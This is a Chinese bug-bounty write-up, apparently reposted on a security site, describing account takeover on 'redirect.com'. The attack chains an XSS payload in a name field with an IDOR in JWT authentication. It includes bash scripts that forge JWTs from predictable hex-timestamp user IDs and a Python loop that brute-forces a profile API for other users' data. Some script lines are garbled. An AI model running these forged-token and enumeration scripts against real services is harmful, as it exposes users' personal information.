通过JWT的IDOR实现账户接管

admin 2025年3月10日00:11:25评论7 views字数 5692阅读18分58秒阅读模式
通过JWT的IDOR实现账户接管

关注公众号,阅读优质好文。

正文

在审查目标平台“redirect.com”的Web应用时,我发现它使用了JSON Web Token(JWT)进行身份验证,因此决定尝试进行账户接管(ATO)攻击。

首先,我创建了一个新账户并测试了其功能。在此过程中,我尝试在“firstName”字段输入XSS(跨站脚本攻击)payload,并填写了其他必要信息。

在Firefox浏览器中登录时,没有发现异常,误以为平台是安全的。然而,在Microsoft Edge浏览器中登录时,XSS payload成功弹出了警告框。

此时,漏洞属于反射型XSS,所有盲XSS尝试均失败。

通过JWT的IDOR实现账户接管

在测试完所有功能后,我回到Burp Suite进行流量分析,发现了一个特定请求:

GET /profile HTTP/2  Host: api.redirect.com  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0  Accept: application/json, text/plain, */*  Accept-Language: en-GB  Accept-Encoding: gzip, deflate  Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiQ3VzdG9tZXIiLCJ1c2VySWQiOiI2NDczM2MxMDM3NmFkMTZhODliZWMzOTUiLCJlbWFpbCI6Im1vaGFtZWRAZ21haWwuY29tIiwiZmlyc3ROYW1lIjoibDxzdmcgT25seT0xICBPbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKT4iLCJsYXN0TmFtZSI6Imw8c3ZnIE9ubHk9MSAgT25sb2FkPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk-IiwiY3JlYXRlVGltZSI6IjA1LzMwLzIwMjMgMDA6MTY6NTAiLCJyZWdpc3RlclRpbWUiOiIwNS8yOC8yMDIzIDExOjMzOjM2IiwiaGFzS2V5IjoidHJ1ZSIsIm5iZiI6MTY4NTQwNTgwMCwiZXhwIjoxNjg1NDkyMjAwLCJpYXQiOjE2ODU0MDU4MDB9.ADEzFqcfIQ7uDVXKLBHZStu3LQ9zog2Fd-yDWrYrklc  Origin: https://www.redirect.com  Referer: https://www.redirect.com/  Sec-Fetch-Dest: empty  Sec-Fetch-Mode: cors  Sec-Fetch-Site: same-site  Te: trailers  

该应用使用JWT进行身份验证。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiQ3VzdG9tZXIiLCJ1c2VySWQiOiI2NDczM2MxMDM3NmFkMTZhODliZWMzOTUiLCJlbWFpbCI6Im1vaGFtZWRAZ21haWwuY29tIiwiZmlyc3ROYW1lIjoibDxzdmcgT25seT0xICBPbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKT4iLCJsYXN0TmFtZSI6Imw8c3ZnIE9ubHk9MSAgT25sb2FkPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk-IiwiY3JlYXRlVGltZSI6IjA1LzMwLzIwMjMgMDA6MTY6NTAiLCJyZWdpc3RlclRpbWUiOiIwNS8yOC8yMDIzIDExOjMzOjM2IiwiaGFzS2V5IjoidHJ1ZSIsIm5iZiI6MTY4NTQwNTgwMCwiZXhwIjoxNjg1NDkyMjAwLCJpYXQiOjE2ODU0MDU4MDB9.ADEzFqcfIQ7uDVXKLBHZStu3LQ9zog2Fd-yDWrYrklc

我解码JWT后,发现以下内容:

{  "alg""HS256",  "typ""JWT"}{  "type""Customer",  "userId""64733c10376ad16a89bec395",  "email""[email protected]",  "firstName""l<svg Only=1  Onload=alert(document.cookie)>",  "lastName""l<svg Only=1  Onload=alert(document.cookie)>",  "createTime""05/30/2023 00:16:50",  "registerTime""05/28/2023 11:33:36",  "hasKey""true",  "nbf"1685405800,  "exp"1685492200,  "iat"1685405800}

我尝试修改“type”为“Admin”或其他与权限相关的值,但未成功。

接着,我进行了IDOR攻击,发现了两个可以测试的参数:

"userId""64733c10376ad16a89bec395""email""[email protected]"

我首先测试了email参数,但未发现有用的信息。接下来,我修改了userId,并成功获取了其他用户的个人信息。

通过JWT的IDOR实现账户接管

到此为止,该漏洞的严重程度被评定为中等,因为用户ID不容易获取。

在此之后,我尝试对API进行Fuzzing,但未发现有价值的信息。随后,我试图在评论区或个人资料中寻找数据,但由于网站没有这些功能,未能找到任何信息。我还尝试在JavaScript文件中搜索,但依然没有收获。

在分析用户ID时,我通过创建多个账户发现,用户ID中存在以下规律:

通过JWT的IDOR实现账户接管

通过JWT的IDOR实现账户接管

用户ID的前8位似乎是时间戳的十六进制表示,接下来的12位在每天似乎是固定的,而最后4位是随机的。基于这一规律,我计划进行暴力破解攻击。由于前8位是时间戳,我们可以通过创建新账户并观察生成的用户ID来确定中间12位。因此,暴力破解的关键在于确定用户ID的最后4位。

在前8位的时间戳中,前4位表示年份、月份和日期,后4位表示小时、分钟和秒数。

为了生成所有可能的时间戳后4位组合,可以使用以下脚本:

#!/bin/bashfor ((i=0;i<=0xffff;i++))do    hex=$(printf "%04x" $i)    echo $hexdone >> hex4.txt

接下来,我们可以在一天的开始创建一个账户,观察生成的用户ID,获取中间12位的固定值。为了获取最后4位的所有可能组合,可以使用类似的脚本生成所有4位十六进制组合,并将其与固定的12位拼接,生成所有可能的用户ID。

#!/bin/bashfor ((i=0;i<=0xffff;i++))do    hex=$(printf "%04x" $i)    echo $hexdone >> hex4.txt

生成所有可能的用户ID后,需要将其转换为JWT并验证有效性。可以使用以下脚本生成JWT:

for i in `cat hex4.txt`; do     for j in `cat hex4.txt`; do          echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d 'n'        echo '.' | tr -d 'n'         echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d 'n'        echo '.'     done done >> rahim_allah_alfataa_salah.txt

然后,使用以下Python代码验证JWT的有效性:

import requestsimport timeurl = "https://api.redirect.com/profile"bearer_token_file = "rahim_allah_alfataa_salah.txt"with open(bearer_token_file, "r"as f:    jwt_list = f.readlines()for jwt_str in jwt_list:    jwt_token = jwt_str.strip()    headers = {"Authorization"f"Bearer {jwt_token}"}    response = requests.get(url, headers=headers)    if response.ok and response.status_code == 200:        response_data = response.json()        print("userid: " + response_data["items"]['id'])

在报告漏洞后,审核人员提供了一个时间戳30.05.2023,但仅提供了前5位。因此,我编写了代码生成2023年5月30日23:00到23:30之间的所有可能时间戳。

通过JWT的IDOR实现账户接管

接下来,我使用以下代码对时间戳进行暴力破解,尝试最后 3 位数字(为了减少时间,我将其设置为 3 位):

#!/bin/bashstart=6475d908end=6475dFFFfor ((i=0x$start;i<=0x$end;i++))do    printf "%xn" $idone << timestamp.txt

对于最后4位十六进制数字,运行以下脚本生成所有可能的组合(为了减少时间,仅生成2位数字):

for i in {0..255}; do printf "%02Xn" $idone >> jadak_alghaithu.txt;

将所有时间戳、固定12位和最后4位组合成JWT:

for i in `cat timestamp.txt`; do for j in `cat jadak_alghaithu.txt`; do echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d 'n'echo '.' | tr -d 'n' ; echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d 'n'echo '.' ; done ; done >> brute_force.txt

最后,使用Python代码执行攻击:

import requestsimport timeurl = "https://api.redirect.com/profile"bearer_token_file = "brute_force.txt"with open(bearer_token_file, "r"as f:    jwt_list = f.readlines()for jwt_str in jwt_list:    jwt_token = jwt_str.strip()    headers = {"Authorization"f"Bearer {jwt_token}"}    response = requests.get(url, headers=headers)    if response.ok and response.status_code == 200:        response_data = response.json()        print("userid: " + response_data["items"]['id'])

结果:

通过JWT的IDOR实现账户接管

成功获取用户ID:

6475d9315523e47052f15098

我将其发送至Burp进行进一步验证:

通过JWT的IDOR实现账户接管

数据如下:

{     "offset":0,     "limit":1,     "items":{         "id":"6475d9315523e47052f15098",         "lastLoggedAt":"2023–05–30T11:08:34.219Z",         "createdAt":"2023–05–30T11:08:33.493Z",         "dateOfBirth":null,         "gender":null,         "registerType":"email",         "addresses":[         ],         "firstName":"test1",         "lastName":"test2",         "email":"**************@gmail.com",         "phone":null,         "state":"active",         "registerOrigin":"desktop",         "marketingAccepted":true,         "marketingAcceptedAt":"2023–05–30T11:08:33.493Z"     },     "size":1,     "success":true,     "message":null,     "statusCode":"ok"}

通过JWT的IDOR实现账户接管

原文始发于微信公众号(玲珑安全):通过JWT的IDOR实现账户接管

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日00:11:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过JWT的IDOR实现账户接管https://cn-sec.com/archives/3819089.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息